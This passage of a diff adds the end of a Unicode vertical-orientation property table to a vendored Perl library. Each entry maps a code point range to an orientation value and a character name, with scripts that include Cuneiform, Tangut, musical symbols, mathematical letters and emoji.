+11D3F..11D45   ; R  # Mn     [7] MASARAM GONDI VOWEL SIGN AU..MASARAM GONDI VIRAMA
+11D46          ; R  # Lo         MASARAM GONDI REPHA
+11D47          ; R  # Mn         MASARAM GONDI RA-KARA
+11D50..11D59   ; R  # Nd    [10] MASARAM GONDI DIGIT ZERO..MASARAM GONDI DIGIT NINE
+12000..12399   ; R  # Lo   [922] CUNEIFORM SIGN A..CUNEIFORM SIGN U U
+12400..1246E   ; R  # Nl   [111] CUNEIFORM NUMERIC SIGN TWO ASH..CUNEIFORM NUMERIC SIGN NINE U VARIANT FORM
+12470..12474   ; R  # Po     [5] CUNEIFORM PUNCTUATION SIGN OLD ASSYRIAN WORD DIVIDER..CUNEIFORM PUNCTUATION SIGN DIAGONAL QUADCOLON
+12480..12543   ; R  # Lo   [196] CUNEIFORM SIGN AB TIMES NUN TENU..CUNEIFORM SIGN ZU5 TIMES THREE DISH TENU
+13000..1342E   ; U  # Lo  [1071] EGYPTIAN HIEROGLYPH A001..EGYPTIAN HIEROGLYPH AA032
+1342F          ; U  # Cn         <reserved-1342F>
+14400..14646   ; U  # Lo   [583] ANATOLIAN HIEROGLYPH A001..ANATOLIAN HIEROGLYPH A530
+14647..1467F   ; U  # Cn    [57] <reserved-14647>..<reserved-1467F>
+16800..16A38   ; R  # Lo   [569] BAMUM LETTER PHASE-A NGKUE MFON..BAMUM LETTER PHASE-F VUEQ
+16A40..16A5E   ; R  # Lo    [31] MRO LETTER TA..MRO LETTER TEK
+16A60..16A69   ; R  # Nd    [10] MRO DIGIT ZERO..MRO DIGIT NINE
+16A6E..16A6F   ; R  # Po     [2] MRO DANDA..MRO DOUBLE DANDA
+16AD0..16AED   ; R  # Lo    [30] BASSA VAH LETTER ENNI..BASSA VAH LETTER I
+16AF0..16AF4   ; R  # Mn     [5] BASSA VAH COMBINING HIGH TONE..BASSA VAH COMBINING HIGH-LOW TONE
+16AF5          ; R  # Po         BASSA VAH FULL STOP
+16B00..16B2F   ; R  # Lo    [48] PAHAWH HMONG VOWEL KEEB..PAHAWH HMONG CONSONANT CAU
+16B30..16B36   ; R  # Mn     [7] PAHAWH HMONG MARK CIM TUB..PAHAWH HMONG MARK CIM TAUM
+16B37..16B3B   ; R  # Po     [5] PAHAWH HMONG SIGN VOS THOM..PAHAWH HMONG SIGN VOS FEEM
+16B3C..16B3F   ; R  # So     [4] PAHAWH HMONG SIGN XYEEM NTXIV..PAHAWH HMONG SIGN XYEEM FAIB
+16B40..16B43   ; R  # Lm     [4] PAHAWH HMONG SIGN VOS SEEV..PAHAWH HMONG SIGN IB YAM
+16B44          ; R  # Po         PAHAWH HMONG SIGN XAUS
+16B45          ; R  # So         PAHAWH HMONG SIGN CIM TSOV ROG
+16B50..16B59   ; R  # Nd    [10] PAHAWH HMONG DIGIT ZERO..PAHAWH HMONG DIGIT NINE
+16B5B..16B61   ; R  # No     [7] PAHAWH HMONG NUMBER TENS..PAHAWH HMONG NUMBER TRILLIONS
+16B63..16B77   ; R  # Lo    [21] PAHAWH HMONG SIGN VOS LUB..PAHAWH HMONG SIGN CIM NRES TOS
+16B7D..16B8F   ; R  # Lo    [19] PAHAWH HMONG CLAN SIGN TSHEEJ..PAHAWH HMONG CLAN SIGN VWJ
+16F00..16F44   ; R  # Lo    [69] MIAO LETTER PA..MIAO LETTER HHA
+16F50          ; R  # Lo         MIAO LETTER NASALIZATION
+16F51..16F7E   ; R  # Mc    [46] MIAO SIGN ASPIRATION..MIAO VOWEL SIGN NG
+16F8F..16F92   ; R  # Mn     [4] MIAO TONE RIGHT..MIAO TONE BELOW
+16F93..16F9F   ; R  # Lm    [13] MIAO LETTER TONE-2..MIAO LETTER REFORMED TONE-8
+16FE0..16FE1   ; U  # Lm     [2] TANGUT ITERATION MARK..NUSHU ITERATION MARK
+16FE2..16FFF   ; U  # Cn    [30] <reserved-16FE2>..<reserved-16FFF>
+17000..187EC   ; U  # Lo  [6125] TANGUT IDEOGRAPH-17000..TANGUT IDEOGRAPH-187EC
+187ED..187FF   ; U  # Cn    [19] <reserved-187ED>..<reserved-187FF>
+18800..18AF2   ; U  # Lo   [755] TANGUT COMPONENT-001..TANGUT COMPONENT-755
+18AF3..18AFF   ; U  # Cn    [13] <reserved-18AF3>..<reserved-18AFF>
+1B000..1B0FF   ; U  # Lo   [256] KATAKANA LETTER ARCHAIC E..HENTAIGANA LETTER RE-2
+1B100..1B11E   ; U  # Lo    [31] HENTAIGANA LETTER RE-3..HENTAIGANA LETTER N-MU-MO-2
+1B11F..1B12F   ; U  # Cn    [17] <reserved-1B11F>..<reserved-1B12F>
+1B170..1B2FB   ; U  # Lo   [396] NUSHU CHARACTER-1B170..NUSHU CHARACTER-1B2FB
+1B2FC..1B2FF   ; U  # Cn     [4] <reserved-1B2FC>..<reserved-1B2FF>
+1BC00..1BC6A   ; R  # Lo   [107] DUPLOYAN LETTER H..DUPLOYAN LETTER VOCALIC M
+1BC70..1BC7C   ; R  # Lo    [13] DUPLOYAN AFFIX LEFT HORIZONTAL SECANT..DUPLOYAN AFFIX ATTACHED TANGENT HOOK
+1BC80..1BC88   ; R  # Lo     [9] DUPLOYAN AFFIX HIGH ACUTE..DUPLOYAN AFFIX HIGH VERTICAL
+1BC90..1BC99   ; R  # Lo    [10] DUPLOYAN AFFIX LOW ACUTE..DUPLOYAN AFFIX LOW ARROW
+1BC9C          ; R  # So         DUPLOYAN SIGN O WITH CROSS
+1BC9D..1BC9E   ; R  # Mn     [2] DUPLOYAN THICK LETTER SELECTOR..DUPLOYAN DOUBLE MARK
+1BC9F          ; R  # Po         DUPLOYAN PUNCTUATION CHINOOK FULL STOP
+1BCA0..1BCA3   ; R  # Cf     [4] SHORTHAND FORMAT LETTER OVERLAP..SHORTHAND FORMAT UP STEP
+1D000..1D0F5   ; U  # So   [246] BYZANTINE MUSICAL SYMBOL PSILI..BYZANTINE MUSICAL SYMBOL GORGON NEO KATO
+1D0F6..1D0FF   ; U  # Cn    [10] <reserved-1D0F6>..<reserved-1D0FF>
+1D100..1D126   ; U  # So    [39] MUSICAL SYMBOL SINGLE BARLINE..MUSICAL SYMBOL DRUM CLEF-2
+1D127..1D128   ; U  # Cn     [2] <reserved-1D127>..<reserved-1D128>
+1D129..1D164   ; U  # So    [60] MUSICAL SYMBOL MULTIPLE MEASURE REST..MUSICAL SYMBOL ONE HUNDRED TWENTY-EIGHTH NOTE
+1D165..1D166   ; U  # Mc     [2] MUSICAL SYMBOL COMBINING STEM..MUSICAL SYMBOL COMBINING SPRECHGESANG STEM
+1D167..1D169   ; U  # Mn     [3] MUSICAL SYMBOL COMBINING TREMOLO-1..MUSICAL SYMBOL COMBINING TREMOLO-3
+1D16A..1D16C   ; U  # So     [3] MUSICAL SYMBOL FINGERED TREMOLO-1..MUSICAL SYMBOL FINGERED TREMOLO-3
+1D16D..1D172   ; U  # Mc     [6] MUSICAL SYMBOL COMBINING AUGMENTATION DOT..MUSICAL SYMBOL COMBINING FLAG-5
+1D173..1D17A   ; U  # Cf     [8] MUSICAL SYMBOL BEGIN BEAM..MUSICAL SYMBOL END PHRASE
+1D17B..1D182   ; U  # Mn     [8] MUSICAL SYMBOL COMBINING ACCENT..MUSICAL SYMBOL COMBINING LOURE
+1D183..1D184   ; U  # So     [2] MUSICAL SYMBOL ARPEGGIATO UP..MUSICAL SYMBOL ARPEGGIATO DOWN
+1D185..1D18B   ; U  # Mn     [7] MUSICAL SYMBOL COMBINING DOIT..MUSICAL SYMBOL COMBINING TRIPLE TONGUE
+1D18C..1D1A9   ; U  # So    [30] MUSICAL SYMBOL RINFORZANDO..MUSICAL SYMBOL DEGREE SLASH
+1D1AA..1D1AD   ; U  # Mn     [4] MUSICAL SYMBOL COMBINING DOWN BOW..MUSICAL SYMBOL COMBINING SNAP PIZZICATO
+1D1AE..1D1E8   ; U  # So    [59] MUSICAL SYMBOL PEDAL MARK..MUSICAL SYMBOL KIEVAN FLAT SIGN
+1D1E9..1D1FF   ; U  # Cn    [23] <reserved-1D1E9>..<reserved-1D1FF>
+1D200..1D241   ; R  # So    [66] GREEK VOCAL NOTATION SYMBOL-1..GREEK INSTRUMENTAL NOTATION SYMBOL-54
+1D242..1D244   ; R  # Mn     [3] COMBINING GREEK MUSICAL TRISEME..COMBINING GREEK MUSICAL PENTASEME
+1D245          ; R  # So         GREEK MUSICAL LEIMMA
+1D300..1D356   ; U  # So    [87] MONOGRAM FOR EARTH..TETRAGRAM FOR FOSTERING
+1D357..1D35F   ; U  # Cn     [9] <reserved-1D357>..<reserved-1D35F>
+1D360..1D371   ; U  # No    [18] COUNTING ROD UNIT DIGIT ONE..COUNTING ROD TENS DIGIT NINE
+1D372..1D37F   ; U  # Cn    [14] <reserved-1D372>..<reserved-1D37F>
+1D400..1D454   ; R  # L&    [85] MATHEMATICAL BOLD CAPITAL A..MATHEMATICAL ITALIC SMALL G
+1D456..1D49C   ; R  # L&    [71] MATHEMATICAL ITALIC SMALL I..MATHEMATICAL SCRIPT CAPITAL A
+1D49E..1D49F   ; R  # Lu     [2] MATHEMATICAL SCRIPT CAPITAL C..MATHEMATICAL SCRIPT CAPITAL D
+1D4A2          ; R  # Lu         MATHEMATICAL SCRIPT CAPITAL G
+1D4A5..1D4A6   ; R  # Lu     [2] MATHEMATICAL SCRIPT CAPITAL J..MATHEMATICAL SCRIPT CAPITAL K
+1D4A9..1D4AC   ; R  # Lu     [4] MATHEMATICAL SCRIPT CAPITAL N..MATHEMATICAL SCRIPT CAPITAL Q
+1D4AE..1D4B9   ; R  # L&    [12] MATHEMATICAL SCRIPT CAPITAL S..MATHEMATICAL SCRIPT SMALL D
+1D4BB          ; R  # Ll         MATHEMATICAL SCRIPT SMALL F
+1D4BD..1D4C3   ; R  # Ll     [7] MATHEMATICAL SCRIPT SMALL H..MATHEMATICAL SCRIPT SMALL N
+1D4C5..1D505   ; R  # L&    [65] MATHEMATICAL SCRIPT SMALL P..MATHEMATICAL FRAKTUR CAPITAL B
+1D507..1D50A   ; R  # Lu     [4] MATHEMATICAL FRAKTUR CAPITAL D..MATHEMATICAL FRAKTUR CAPITAL G
+1D50D..1D514   ; R  # Lu     [8] MATHEMATICAL FRAKTUR CAPITAL J..MATHEMATICAL FRAKTUR CAPITAL Q
+1D516..1D51C   ; R  # Lu     [7] MATHEMATICAL FRAKTUR CAPITAL S..MATHEMATICAL FRAKTUR CAPITAL Y
+1D51E..1D539   ; R  # L&    [28] MATHEMATICAL FRAKTUR SMALL A..MATHEMATICAL DOUBLE-STRUCK CAPITAL B
+1D53B..1D53E   ; R  # Lu     [4] MATHEMATICAL DOUBLE-STRUCK CAPITAL D..MATHEMATICAL DOUBLE-STRUCK CAPITAL G
+1D540..1D544   ; R  # Lu     [5] MATHEMATICAL DOUBLE-STRUCK CAPITAL I..MATHEMATICAL DOUBLE-STRUCK CAPITAL M
+1D546          ; R  # Lu         MATHEMATICAL DOUBLE-STRUCK CAPITAL O
+1D54A..1D550   ; R  # Lu     [7] MATHEMATICAL DOUBLE-STRUCK CAPITAL S..MATHEMATICAL DOUBLE-STRUCK CAPITAL Y
+1D552..1D6A5   ; R  # L&   [340] MATHEMATICAL DOUBLE-STRUCK SMALL A..MATHEMATICAL ITALIC SMALL DOTLESS J
+1D6A8..1D6C0   ; R  # Lu    [25] MATHEMATICAL BOLD CAPITAL ALPHA..MATHEMATICAL BOLD CAPITAL OMEGA
+1D6C1          ; R  # Sm         MATHEMATICAL BOLD NABLA
+1D6C2..1D6DA   ; R  # Ll    [25] MATHEMATICAL BOLD SMALL ALPHA..MATHEMATICAL BOLD SMALL OMEGA
+1D6DB          ; R  # Sm         MATHEMATICAL BOLD PARTIAL DIFFERENTIAL
+1D6DC..1D6FA   ; R  # L&    [31] MATHEMATICAL BOLD EPSILON SYMBOL..MATHEMATICAL ITALIC CAPITAL OMEGA
+1D6FB          ; R  # Sm         MATHEMATICAL ITALIC NABLA
+1D6FC..1D714   ; R  # Ll    [25] MATHEMATICAL ITALIC SMALL ALPHA..MATHEMATICAL ITALIC SMALL OMEGA
+1D715          ; R  # Sm         MATHEMATICAL ITALIC PARTIAL DIFFERENTIAL
+1D716..1D734   ; R  # L&    [31] MATHEMATICAL ITALIC EPSILON SYMBOL..MATHEMATICAL BOLD ITALIC CAPITAL OMEGA
+1D735          ; R  # Sm         MATHEMATICAL BOLD ITALIC NABLA
+1D736..1D74E   ; R  # Ll    [25] MATHEMATICAL BOLD ITALIC SMALL ALPHA..MATHEMATICAL BOLD ITALIC SMALL OMEGA
+1D74F          ; R  # Sm         MATHEMATICAL BOLD ITALIC PARTIAL DIFFERENTIAL
+1D750..1D76E   ; R  # L&    [31] MATHEMATICAL BOLD ITALIC EPSILON SYMBOL..MATHEMATICAL SANS-SERIF BOLD CAPITAL OMEGA
+1D76F          ; R  # Sm         MATHEMATICAL SANS-SERIF BOLD NABLA
+1D770..1D788   ; R  # Ll    [25] MATHEMATICAL SANS-SERIF BOLD SMALL ALPHA..MATHEMATICAL SANS-SERIF BOLD SMALL OMEGA
+1D789          ; R  # Sm         MATHEMATICAL SANS-SERIF BOLD PARTIAL DIFFERENTIAL
+1D78A..1D7A8   ; R  # L&    [31] MATHEMATICAL SANS-SERIF BOLD EPSILON SYMBOL..MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL OMEGA
+1D7A9          ; R  # Sm         MATHEMATICAL SANS-SERIF BOLD ITALIC NABLA
+1D7AA..1D7C2   ; R  # Ll    [25] MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL ALPHA..MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL OMEGA
+1D7C3          ; R  # Sm         MATHEMATICAL SANS-SERIF BOLD ITALIC PARTIAL DIFFERENTIAL
+1D7C4..1D7CB   ; R  # L&     [8] MATHEMATICAL SANS-SERIF BOLD ITALIC EPSILON SYMBOL..MATHEMATICAL BOLD SMALL DIGAMMA
+1D7CE..1D7FF   ; R  # Nd    [50] MATHEMATICAL BOLD DIGIT ZERO..MATHEMATICAL MONOSPACE DIGIT NINE
+1D800..1D9FF   ; U  # So   [512] SIGNWRITING HAND-FIST INDEX..SIGNWRITING HEAD
+1DA00..1DA36   ; U  # Mn    [55] SIGNWRITING HEAD RIM..SIGNWRITING AIR SUCKING IN
+1DA37..1DA3A   ; U  # So     [4] SIGNWRITING AIR BLOW SMALL ROTATIONS..SIGNWRITING BREATH EXHALE
+1DA3B..1DA6C   ; U  # Mn    [50] SIGNWRITING MOUTH CLOSED NEUTRAL..SIGNWRITING EXCITEMENT
+1DA6D..1DA74   ; U  # So     [8] SIGNWRITING SHOULDER HIP SPINE..SIGNWRITING TORSO-FLOORPLANE TWISTING
+1DA75          ; U  # Mn         SIGNWRITING UPPER BODY TILTING FROM HIP JOINTS
+1DA76..1DA83   ; U  # So    [14] SIGNWRITING LIMB COMBINATION..SIGNWRITING LOCATION DEPTH
+1DA84          ; U  # Mn         SIGNWRITING LOCATION HEAD NECK
+1DA85..1DA86   ; U  # So     [2] SIGNWRITING LOCATION TORSO..SIGNWRITING LOCATION LIMBS DIGITS
+1DA87..1DA8B   ; U  # Po     [5] SIGNWRITING COMMA..SIGNWRITING PARENTHESIS
+1DA8C..1DA9A   ; U  # Cn    [15] <reserved-1DA8C>..<reserved-1DA9A>
+1DA9B..1DA9F   ; U  # Mn     [5] SIGNWRITING FILL MODIFIER-2..SIGNWRITING FILL MODIFIER-6
+1DAA0          ; U  # Cn         <reserved-1DAA0>
+1DAA1..1DAAF   ; U  # Mn    [15] SIGNWRITING ROTATION MODIFIER-2..SIGNWRITING ROTATION MODIFIER-16
+1E000..1E006   ; R  # Mn     [7] COMBINING GLAGOLITIC LETTER AZU..COMBINING GLAGOLITIC LETTER ZHIVETE
+1E008..1E018   ; R  # Mn    [17] COMBINING GLAGOLITIC LETTER ZEMLJA..COMBINING GLAGOLITIC LETTER HERU
+1E01B..1E021   ; R  # Mn     [7] COMBINING GLAGOLITIC LETTER SHTA..COMBINING GLAGOLITIC LETTER YATI
+1E023..1E024   ; R  # Mn     [2] COMBINING GLAGOLITIC LETTER YU..COMBINING GLAGOLITIC LETTER SMALL YUS
+1E026..1E02A   ; R  # Mn     [5] COMBINING GLAGOLITIC LETTER YO..COMBINING GLAGOLITIC LETTER FITA
+1E800..1E8C4   ; R  # Lo   [197] MENDE KIKAKUI SYLLABLE M001 KI..MENDE KIKAKUI SYLLABLE M060 NYON
+1E8C7..1E8CF   ; R  # No     [9] MENDE KIKAKUI DIGIT ONE..MENDE KIKAKUI DIGIT NINE
+1E8D0..1E8D6   ; R  # Mn     [7] MENDE KIKAKUI COMBINING NUMBER TEENS..MENDE KIKAKUI COMBINING NUMBER MILLIONS
+1E900..1E943   ; R  # L&    [68] ADLAM CAPITAL LETTER ALIF..ADLAM SMALL LETTER SHA
+1E944..1E94A   ; R  # Mn     [7] ADLAM ALIF LENGTHENER..ADLAM NUKTA
+1E950..1E959   ; R  # Nd    [10] ADLAM DIGIT ZERO..ADLAM DIGIT NINE
+1E95E..1E95F   ; R  # Po     [2] ADLAM INITIAL EXCLAMATION MARK..ADLAM INITIAL QUESTION MARK
+1EE00..1EE03   ; R  # Lo     [4] ARABIC MATHEMATICAL ALEF..ARABIC MATHEMATICAL DAL
+1EE05..1EE1F   ; R  # Lo    [27] ARABIC MATHEMATICAL WAW..ARABIC MATHEMATICAL DOTLESS QAF
+1EE21..1EE22   ; R  # Lo     [2] ARABIC MATHEMATICAL INITIAL BEH..ARABIC MATHEMATICAL INITIAL JEEM
+1EE24          ; R  # Lo         ARABIC MATHEMATICAL INITIAL HEH
+1EE27          ; R  # Lo         ARABIC MATHEMATICAL INITIAL HAH
+1EE29..1EE32   ; R  # Lo    [10] ARABIC MATHEMATICAL INITIAL YEH..ARABIC MATHEMATICAL INITIAL QAF
+1EE34..1EE37   ; R  # Lo     [4] ARABIC MATHEMATICAL INITIAL SHEEN..ARABIC MATHEMATICAL INITIAL KHAH
+1EE39          ; R  # Lo         ARABIC MATHEMATICAL INITIAL DAD
+1EE3B          ; R  # Lo         ARABIC MATHEMATICAL INITIAL GHAIN
+1EE42          ; R  # Lo         ARABIC MATHEMATICAL TAILED JEEM
+1EE47          ; R  # Lo         ARABIC MATHEMATICAL TAILED HAH
+1EE49          ; R  # Lo         ARABIC MATHEMATICAL TAILED YEH
+1EE4B          ; R  # Lo         ARABIC MATHEMATICAL TAILED LAM
+1EE4D..1EE4F   ; R  # Lo     [3] ARABIC MATHEMATICAL TAILED NOON..ARABIC MATHEMATICAL TAILED AIN
+1EE51..1EE52   ; R  # Lo     [2] ARABIC MATHEMATICAL TAILED SAD..ARABIC MATHEMATICAL TAILED QAF
+1EE54          ; R  # Lo         ARABIC MATHEMATICAL TAILED SHEEN
+1EE57          ; R  # Lo         ARABIC MATHEMATICAL TAILED KHAH
+1EE59          ; R  # Lo         ARABIC MATHEMATICAL TAILED DAD
+1EE5B          ; R  # Lo         ARABIC MATHEMATICAL TAILED GHAIN
+1EE5D          ; R  # Lo         ARABIC MATHEMATICAL TAILED DOTLESS NOON
+1EE5F          ; R  # Lo         ARABIC MATHEMATICAL TAILED DOTLESS QAF
+1EE61..1EE62   ; R  # Lo     [2] ARABIC MATHEMATICAL STRETCHED BEH..ARABIC MATHEMATICAL STRETCHED JEEM
+1EE64          ; R  # Lo         ARABIC MATHEMATICAL STRETCHED HEH
+1EE67..1EE6A   ; R  # Lo     [4] ARABIC MATHEMATICAL STRETCHED HAH..ARABIC MATHEMATICAL STRETCHED KAF
+1EE6C..1EE72   ; R  # Lo     [7] ARABIC MATHEMATICAL STRETCHED MEEM..ARABIC MATHEMATICAL STRETCHED QAF
+1EE74..1EE77   ; R  # Lo     [4] ARABIC MATHEMATICAL STRETCHED SHEEN..ARABIC MATHEMATICAL STRETCHED KHAH
+1EE79..1EE7C   ; R  # Lo     [4] ARABIC MATHEMATICAL STRETCHED DAD..ARABIC MATHEMATICAL STRETCHED DOTLESS BEH
+1EE7E          ; R  # Lo         ARABIC MATHEMATICAL STRETCHED DOTLESS FEH
+1EE80..1EE89   ; R  # Lo    [10] ARABIC MATHEMATICAL LOOPED ALEF..ARABIC MATHEMATICAL LOOPED YEH
+1EE8B..1EE9B   ; R  # Lo    [17] ARABIC MATHEMATICAL LOOPED LAM..ARABIC MATHEMATICAL LOOPED GHAIN
+1EEA1..1EEA3   ; R  # Lo     [3] ARABIC MATHEMATICAL DOUBLE-STRUCK BEH..ARABIC MATHEMATICAL DOUBLE-STRUCK DAL
+1EEA5..1EEA9   ; R  # Lo     [5] ARABIC MATHEMATICAL DOUBLE-STRUCK WAW..ARABIC MATHEMATICAL DOUBLE-STRUCK YEH
+1EEAB..1EEBB   ; R  # Lo    [17] ARABIC MATHEMATICAL DOUBLE-STRUCK LAM..ARABIC MATHEMATICAL DOUBLE-STRUCK GHAIN
+1EEF0..1EEF1   ; R  # Sm     [2] ARABIC MATHEMATICAL OPERATOR MEEM WITH HAH WITH TATWEEL..ARABIC MATHEMATICAL OPERATOR HAH WITH DAL
+1F000..1F02B   ; U  # So    [44] MAHJONG TILE EAST WIND..MAHJONG TILE BACK
+1F02C..1F02F   ; U  # Cn     [4] <reserved-1F02C>..<reserved-1F02F>
+1F030..1F093   ; U  # So   [100] DOMINO TILE HORIZONTAL BACK..DOMINO TILE VERTICAL-06-06
+1F094..1F09F   ; U  # Cn    [12] <reserved-1F094>..<reserved-1F09F>
+1F0A0..1F0AE   ; U  # So    [15] PLAYING CARD BACK..PLAYING CARD KING OF SPADES
+1F0AF..1F0B0   ; U  # Cn     [2] <reserved-1F0AF>..<reserved-1F0B0>
+1F0B1..1F0BF   ; U  # So    [15] PLAYING CARD ACE OF HEARTS..PLAYING CARD RED JOKER
+1F0C0          ; U  # Cn         <reserved-1F0C0>
+1F0C1..1F0CF   ; U  # So    [15] PLAYING CARD ACE OF DIAMONDS..PLAYING CARD BLACK JOKER
+1F0D0          ; U  # Cn         <reserved-1F0D0>
+1F0D1..1F0F5   ; U  # So    [37] PLAYING CARD ACE OF CLUBS..PLAYING CARD TRUMP-21
+1F0F6..1F0FF   ; U  # Cn    [10] <reserved-1F0F6>..<reserved-1F0FF>
+1F100..1F10C   ; U  # No    [13] DIGIT ZERO FULL STOP..DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT ZERO
+1F10D..1F10F   ; U  # Cn     [3] <reserved-1F10D>..<reserved-1F10F>
+1F110..1F12E   ; U  # So    [31] PARENTHESIZED LATIN CAPITAL LETTER A..CIRCLED WZ
+1F12F          ; U  # Cn         <reserved-1F12F>
+1F130..1F16B   ; U  # So    [60] SQUARED LATIN CAPITAL LETTER A..RAISED MD SIGN
+1F16C..1F16F   ; U  # Cn     [4] <reserved-1F16C>..<reserved-1F16F>
+1F170..1F1AC   ; U  # So    [61] NEGATIVE SQUARED LATIN CAPITAL LETTER A..SQUARED VOD
+1F1AD..1F1E5   ; U  # Cn    [57] <reserved-1F1AD>..<reserved-1F1E5>
+1F1E6..1F1FF   ; U  # So    [26] REGIONAL INDICATOR SYMBOL LETTER A..REGIONAL INDICATOR SYMBOL LETTER Z
+1F200..1F201   ; Tu # So     [2] SQUARE HIRAGANA HOKA..SQUARED KATAKANA KOKO
+1F202          ; U  # So         SQUARED KATAKANA SA
+1F203..1F20F   ; U  # Cn    [13] <reserved-1F203>..<reserved-1F20F>
+1F210..1F23B   ; U  # So    [44] SQUARED CJK UNIFIED IDEOGRAPH-624B..SQUARED CJK UNIFIED IDEOGRAPH-914D
+1F23C..1F23F   ; U  # Cn     [4] <reserved-1F23C>..<reserved-1F23F>
+1F240..1F248   ; U  # So     [9] TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-672C..TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6557
+1F249..1F24F   ; U  # Cn     [7] <reserved-1F249>..<reserved-1F24F>
+1F250..1F251   ; U  # So     [2] CIRCLED IDEOGRAPH ADVANTAGE..CIRCLED IDEOGRAPH ACCEPT
+1F252..1F25F   ; U  # Cn    [14] <reserved-1F252>..<reserved-1F25F>
+1F260..1F265   ; U  # So     [6] ROUNDED SYMBOL FOR FU..ROUNDED SYMBOL FOR CAI
+1F266..1F2FF   ; U  # Cn   [154] <reserved-1F266>..<reserved-1F2FF>
+1F300..1F3FA   ; U  # So   [251] CYCLONE..AMPHORA
+1F3FB..1F3FF   ; U  # Sk     [5] EMOJI MODIFIER FITZPATRICK TYPE-1-2..EMOJI MODIFIER FITZPATRICK TYPE-6
+1F400..1F5FF   ; U  # So   [512] RAT..MOYAI
+1F600..1F64F   ; U  # So    [80] GRINNING FACE..PERSON WITH FOLDED HANDS
+1F650..1F67F   ; U  # So    [48] NORTH WEST POINTING LEAF..REVERSE CHECKER BOARD
+1F680..1F6D4   ; U  # So    [85] ROCKET..PAGODA
+1F6D5..1F6DF   ; U  # Cn    [11] <reserved-1F6D5>..<reserved-1F6DF>
+1F6E0..1F6EC   ; U  # So    [13] HAMMER AND WRENCH..AIRPLANE ARRIVING
+1F6ED..1F6EF   ; U  # Cn     [3] <reserved-1F6ED>..<reserved-1F6EF>
+1F6F0..1F6F8   ; U  # So     [9] SATELLITE..FLYING SAUCER
+1F6F9..1F6FF   ; U  # Cn     [7] <reserved-1F6F9>..<reserved-1F6FF>
+1F700..1F773   ; U  # So   [116] ALCHEMICAL SYMBOL FOR QUINTESSENCE..ALCHEMICAL SYMBOL FOR HALF OUNCE
+1F774..1F77F   ; U  # Cn    [12] <reserved-1F774>..<reserved-1F77F>
+1F780..1F7D4   ; U  # So    [85] BLACK LEFT-POINTING ISOSCELES RIGHT TRIANGLE..HEAVY TWELVE POINTED PINWHEEL STAR
+1F7D5..1F7FF   ; U  # Cn    [43] <reserved-1F7D5>..<reserved-1F7FF>
+1F800..1F80B   ; R  # So    [12] LEFTWARDS ARROW WITH SMALL TRIANGLE ARROWHEAD..DOWNWARDS ARROW WITH LARGE TRIANGLE ARROWHEAD
+1F810..1F847   ; R  # So    [56] LEFTWARDS ARROW WITH SMALL EQUILATERAL ARROWHEAD..DOWNWARDS HEAVY ARROW
+1F850..1F859   ; R  # So    [10] LEFTWARDS SANS-SERIF ARROW..UP DOWN SANS-SERIF ARROW
+1F860..1F887   ; R  # So    [40] WIDE-HEADED LEFTWARDS LIGHT BARB ARROW..WIDE-HEADED SOUTH WEST VERY HEAVY BARB ARROW
+1F890..1F8AD   ; R  # So    [30] LEFTWARDS TRIANGLE ARROWHEAD..WHITE ARROW SHAFT WIDTH TWO THIRDS
+1F900..1F90B   ; U  # So    [12] CIRCLED CROSS FORMEE WITH FOUR DOTS..DOWNWARD FACING NOTCHED HOOK WITH DOT
+1F90C..1F90F   ; U  # Cn     [4] <reserved-1F90C>..<reserved-1F90F>
+1F910..1F93E   ; U  # So    [47] ZIPPER-MOUTH FACE..HANDBALL
+1F93F          ; U  # Cn         <reserved-1F93F>
+1F940..1F94C   ; U  # So    [13] WILTED FLOWER..CURLING STONE
+1F94D..1F94F   ; U  # Cn     [3] <reserved-1F94D>..<reserved-1F94F>
+1F950..1F96B   ; U  # So    [28] CROISSANT..CANNED FOOD
+1F96C..1F97F   ; U  # Cn    [20] <reserved-1F96C>..<reserved-1F97F>
+1F980..1F997   ; U  # So    [24] CRAB..CRICKET
+1F998..1F9BF   ; U  # Cn    [40] <reserved-1F998>..<reserved-1F9BF>
+1F9C0          ; U  # So         CHEESE WEDGE
+1F9C1..1F9CF   ; U  # Cn    [15] <reserved-1F9C1>..<reserved-1F9CF>
+1F9D0..1F9E6   ; U  # So    [23] FACE WITH MONOCLE..SOCKS
+1F9E7..1F9FF   ; U  # Cn    [25] <reserved-1F9E7>..<reserved-1F9FF>
+20000..2A6D6   ; U  # Lo [42711] CJK UNIFIED IDEOGRAPH-20000..CJK UNIFIED IDEOGRAPH-2A6D6
+2A6D7..2A6FF   ; U  # Cn    [41] <reserved-2A6D7>..<reserved-2A6FF>
+2A700..2B734   ; U  # Lo  [4149] CJK UNIFIED IDEOGRAPH-2A700..CJK UNIFIED IDEOGRAPH-2B734
+2B735..2B73F   ; U  # Cn    [11] <reserved-2B735>..<reserved-2B73F>
+2B740..2B81D   ; U  # Lo   [222] CJK UNIFIED IDEOGRAPH-2B740..CJK UNIFIED IDEOGRAPH-2B81D
+2B81E..2B81F   ; U  # Cn     [2] <reserved-2B81E>..<reserved-2B81F>
+2B820..2CEA1   ; U  # Lo  [5762] CJK UNIFIED IDEOGRAPH-2B820..CJK UNIFIED IDEOGRAPH-2CEA1
+2CEA2..2CEAF   ; U  # Cn    [14] <reserved-2CEA2>..<reserved-2CEAF>
+2CEB0..2EBE0   ; U  # Lo  [7473] CJK UNIFIED IDEOGRAPH-2CEB0..CJK UNIFIED IDEOGRAPH-2EBE0
+2EBE1..2F7FF   ; U  # Cn  [3103] <reserved-2EBE1>..<reserved-2F7FF>
+2F800..2FA1D   ; U  # Lo   [542] CJK COMPATIBILITY IDEOGRAPH-2F800..CJK COMPATIBILITY IDEOGRAPH-2FA1D
+2FA1E..2FFFD   ; U  # Cn  [1504] <reserved-2FA1E>..<reserved-2FFFD>
+30000..3FFFD   ; U  # Cn [65534] <reserved-30000>..<reserved-3FFFD>
+E0001          ; R  # Cf         LANGUAGE TAG
+E0020..E007F   ; R  # Cf    [96] TAG SPACE..CANCEL TAG
+E0100..E01EF   ; R  # Mn   [240] VARIATION SELECTOR-17..VARIATION SELECTOR-256
+F0000..FFFFD   ; U  # Co [65534] <private-use-F0000>..<private-use-FFFFD>
+100000..10FFFD ; U  # Co [65534] <private-use-100000>..<private-use-10FFFD>
+
+# EOF

Modified: vendor/perl/dist/lib/unicore/auxiliary/GCBTest.txt
===================================================================
